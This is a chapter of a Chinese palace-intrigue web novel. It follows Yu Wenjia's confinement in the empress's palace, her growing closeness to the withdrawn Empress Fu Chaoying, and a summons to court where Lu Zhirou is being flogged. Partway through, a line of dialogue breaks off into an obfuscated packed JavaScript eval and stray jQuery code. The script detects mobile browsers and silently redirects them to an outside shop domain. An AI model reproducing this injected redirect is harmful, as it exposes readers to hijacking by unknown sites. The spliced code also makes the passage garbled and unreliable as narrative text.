宇文珈在皇后宫中养伤,一养就是三个月。
她在第八的一天就已经明确,这就是来自皇帝的惩戒。
伤势好转的第七天,已经没有面无表情的太医来问诊了。
而底礼阿果是第二天就被带了出去。
宇文珈在宫门口被几个宫女紧紧贴着,眼睁睁看着底礼阿果上了被陈砺和几名禁军看护的轿辇。
而陈砺穿上了禁军的银铠。
他看了宇文珈一眼,口型说道:
我过几天来看你。
宇文珈不屑地摇了摇头。
此时她还不知道自己会在深宫之中一直待到初春。
日日问询内侍,却得不到任何回应。
陈砺也没能来看她,底礼阿果倒是给她递了几封手信,信上姚芙轩的笔记更显焦灼。
她们两人倒是聚在一起了。
只知底礼阿果被安置在皇帝行宫,安排了禁军看护。
而元格,元琥给了于彦瑾一个台阶,把打了一顿的元格丢在了天牢之前,便不管不顾了。
听说天寒地冻的,元格差点没了气,最后是于彦瑾点了头,太后着人去带了回去安置。
至于卢至柔,宇文珈再没听过他的消息。
作为与卢至柔密切相关的人物,泄露了机要,惹来圣怒,留了她小命一条已是恩典。
既无出路,宇文珈也不急了,反正一开始都是为了进宫,她把目光投向了兰台殿的一宫之主。
傅朝盈。
一个眉毛极淡,仿佛薄雾晕染,时时刻刻笼罩在悲情之中的寡言皇后。
她秀气偏窄的脸上一双眼睛轻轻上挑,瞳色浅浅,目光平静淡漠,肤色犹如冷瓷,苍白的日光下仿佛能看见青色的血脉。
偶有抬头,若深秋凉风。
那张淡粉的嘴唇,像一朵不肯绽放的杏花,宇文珈几乎没怎么听过她主动开口说话。
那双含悲的双眸,淡淡扫来。
让宇文珈几度辗转反侧,她决定搞清楚皇后经历了什么。
脖子不再肿痛之后,便不再以主子自居,自觉加入到例行打扫的宫女行列中。
她们并不待见她。
皇后寡言,但绝不苛待下属,兰台殿内外对她都是巴心巴肠的。
宇文珈不好顶撞皇后的宫女,只得选些无人去做的事。
从后院嘎叽作响的取水转筒,到小厢房里漏风的窗户,再到熏得掌事嬷嬷直流泪的火盆。
“文娘子的手可真巧,皮绳能在她手里翻出花样,奴婢清晨打水再也不会吵着娘娘了。”
“而且那几扇窗户被她梆梆敲两下就真的再也不会漏风了。”
“她给娘娘的火盆加了一个铁皮盖子,一个小小的出烟口连着竹管通向屋外,再也不会熏得老奴眼睛疼了。”
“是吗?”
软塌上的傅朝盈拥着一床厚毛毯,纤细的手指捧着一个暖炉,静静地听下面的人说。
目光抬去,寑殿尽头的屏风后是傅朝盈的书案,她平日喜文好墨,里间的布置是极其雅致的。
软塌上正好能看见窗台外面的一隅。
年轻的娘子,趴在树上,腰间悬着一卷画样,用一把小巧的锯刀修建她的梅树。
无人帮她梳洗,她的头发绝不合礼制,随意的束起,找了一件方便干活的小内侍的衣服,胡乱套着。
眉头蹙起,和鼻尖一起染上了淡淡的红。
傅朝盈很震惊,全宫都知道她最喜欢冬天窗外的这几颗红梅,身边的宫女竟无一人阻止。
“她这是?”
“娘娘恕罪,文娘子说了,寑殿内这扇窗子极其通透,窗外红梅开得正艳,但无人打理,太过杂乱,配不上娘娘的雅趣,她自请去给娘娘造景。”
傅朝盈闭了嘴,右手一伸,便有人扶她起来,走到窗前命人推开窗。
她静静地望着宇文珈。
宇文珈回过头来,笑着,露出一排洁白的牙齿:“娘娘仔细风大。”
“没人跟你说这五株梅树本宫从不让人碰吗?”她启唇,难得说了这么多字。
“娘娘恕罪,奴婢看着窗棂通明,屋外红梅正艳,娘娘习字抬头偶望能心情好些,便自作主张,打了些枝条,只为娘娘看着愉悦。”
她毫不知罪地笑言,晃了晃手边的图样。
“若是不得本宫的心,再治你的罪也不迟。”傅朝盈松口,转身离去。
娘娘的字瘦硬俊朗,如削如折,孤直疏朗便是她的心头好。
宇文珈花了五日,把前面四棵较为团簇的梅树用麻绳牵引着,转向指着最里面的第五株梅树,那棵更遒劲嶙峋。
她把那梅树剪得疏密有致,朵朵红梅更加精致突出,而风骨依旧。
傅朝盈只来望了一眼,挥挥手让人赐下膳房呈上来的一碗燕窝。
就这样,宇文珈获得了进入皇后寑殿侍弄笔墨的资格。
呆得久了也便旁敲侧击出这皇后的来头。
傅朝盈是先帝还在时,太后指派的太子太傅的嫡长女。
她和许多官家子弟一起,做过太子伴读。
后来于彦瑾登基,太后见傅朝盈沉稳良善,虽略长于彦瑾几岁,但他并不反对,便早早把她定为了皇后。
但新帝登基后,本就人丁稀少的傅家不知犯了什么事,太傅被革职贬谪,客死他乡,她的母亲也早早病逝。
于是十四岁的傅朝盈被太后养在了宫中,直到于彦瑾十四岁,两人才礼成,这时她已然二十了。
不知出于何种原因,帝后之间似乎情缘淡薄,宇文珈在这宫里这么多时日从未见于彦瑾来过。
皇后的郁郁寡欢把整个兰台殿的气氛都带得冷冷清清、不问世事。
宫里年幼的宫女似乎也摒弃了一切欢声笑语,起初宇文珈还不习惯。
直到除夕之夜,这宫里就简简单单布置了一下,圣人和太后只遣人来问了问,宇文珈才知道她和圣人之间怕是连样子都懒得做。
大年初一,宇文珈起了个大早,让小内侍去定了一只小羊羔,决定和兰台殿的宫女们给娘娘做一道浑羊殁忽。
把那只吸取精华的大鹅从羊肚子里扒拉出来摆好盘后,外面的烤羊肉舍不得扔又做成了炙肉拼盘。
嬷嬷挂了许多红灯,贴了好些窗花,最后宇文珈求着娘娘,才写了一副墨宝,让她们做对联贴了。
傅朝盈难得露了一丝笑容,但小酌几口后,宫门被敲响。
一个脸生的内侍走进来面无表情地说:“施浪在与蒙诏一战中险胜,施浪信么御驾亲征,一统六诏,如今惠宁公主已经成为了南诏的王女,皇后娘娘还得出面赐下贺礼。”
傅朝盈说了声知道了。
宇文珈闭上双眼,狠狠地呼出一口气。
卢至柔总算没有办砸这件事,若是出了差错,宇文珈估计自己小命不保。
但她的禁足还没有结束。
这个冷清的年过完了,还是很冷,密密麻麻的雪落在兰台殿中,红艳的梅花被霜雪镶边,这是唯一的色彩。
宇文珈终于在一个月后等来了卢至柔的消息。
圣人身边的王内侍,是一个高手,悄无声息地翻墙进来,告诉宇文珈:
卢至柔事发当晚就启程去了蒙诏。
“由于秘密泄露,其他势力已然箭在弦上......”他看了宇文珈一眼,轻咳一声。
宇文珈垂眸不言。
“形势并不简单,卢郎君得
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17789938|203430||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
从中斡旋,目前虽有成效,但仍有虎视眈眈的敌人......”
宇文珈点了点头。
言外之意,若事情反转,她仍然别想离开皇宫。
王内侍叹了口气:“元检也去了蒙诏,他和卢郎君犹如操纵木偶一般,在蒙诏暗斗,危机四伏,但娘子放心,老奴认识卢郎君多年,他办事从未失败过。”
暗斗也便成了明斗。
这一等又是一月。
元家扶持的蒙诏诏王六子终于被卢至柔摁了下去,信么凭借蒙诏血统,毫无败绩地拿下剩余四诏。
此间元检阴损,竟在施浪铁骑之中刺杀信么。
若不是卢至柔,这一箭险些封喉。
“卢郎君受了重伤,在御前向陛下请罪。”
那日宇文珈正在摆弄娘娘的笔架,傅朝盈走进来轻轻说。
宇文珈抬起头,有些错愕,手指停在原地不知作何动作。
既已返城,料想南边各诏已经归服,何来请罪一说?
“你去看看吧。”她眼神中流露出明显的悲悯。
宇文珈心中重重一跳。
圣人终于要清算她了吗?
她站起身,跟随兰台殿的嬷嬷去换了一身符合礼制的宫装。
迈着沉重的步伐朝紫宸殿而去。
暮色沉重地压在大殿的金瓦上,檐角悬着的铜铃无声无息。
殿门洞开,内侍们垂手立成两排,灯火将他们的影子拉得细长,像一根根被绷紧的弦。
里面传来的不合时宜的闷响。
规律的、沉重的。
除此之外并无别的响动。
宇文珈锁紧眉,咬紧牙关,揪住裙摆,跟着王内侍进去了。
一眼便看见,卧倒在殿堂中间的卢至柔,正在被两个内侍拿着板子轮流杖刑。
宇文珈刚要惊呼,便瞥见,两把高椅上端坐的于彦瑾和元珏。
她一进来,那两个内侍便停了下来,数双眼睛凝聚在她身上,气氛陡然诡异。
宇文珈不敢出声,垂首跪了下去。
“到前头来。”元珏压着怒冷声道。
宇文珈连忙跪爬朝前,停在了卢至柔眼前。
他忍着痛,汗珠低落,在他额前的金砖上形成一小滩水渍。
他艰难地偏头去看她,脖子和额角的青筋几乎要崩断一般,嘴角还扯着一个勉强的笑。
上下打量他,看不出何处受了重伤,鼻尖倒是不住窜入血腥气。
宇文珈瞳孔一缩,咬牙伏身下拜。
“奴婢知罪了,卢郎君千里奔波,替陛下、替大隆立功,何至于受这杖刑......”
“放肆!”
噼啪!
太后手中的佛珠,猛得一甩,擦着宇文珈的脸而过。
“还轮得到你来教圣人做事?”她怒斥道。
“陛下要罚,就罚奴婢一人。”宇文珈抬起头来,大声说。
面容隐忍,但目光坚定。
“你倒是敢作敢当。”于彦瑾淡笑一声。
宇文珈眨眼间看了一眼太后神色。
她头上的钗镮一直发出细细碎碎的磕碰声,好似她无法自遏的怒气。
她那双眼更是写满了怨毒,紧紧盯着宇文珈。
卢至柔在一旁给她使眼色,她只当看不见。
宇文珈略一沉吟,便知如今太后在南面的布局全线崩溃,她的怒气只当是为了陛下,但明面上不敢在他国政权中公然挑衅皇威。
溃败之后的今日不过是为了出气。
只想要陛下给她这个面子罢了。
“奴婢有罪,那日不分青红皂白污蔑了元家大郎,使得元家大郎和惠宁公主蒙冤,还请陛下责罚。”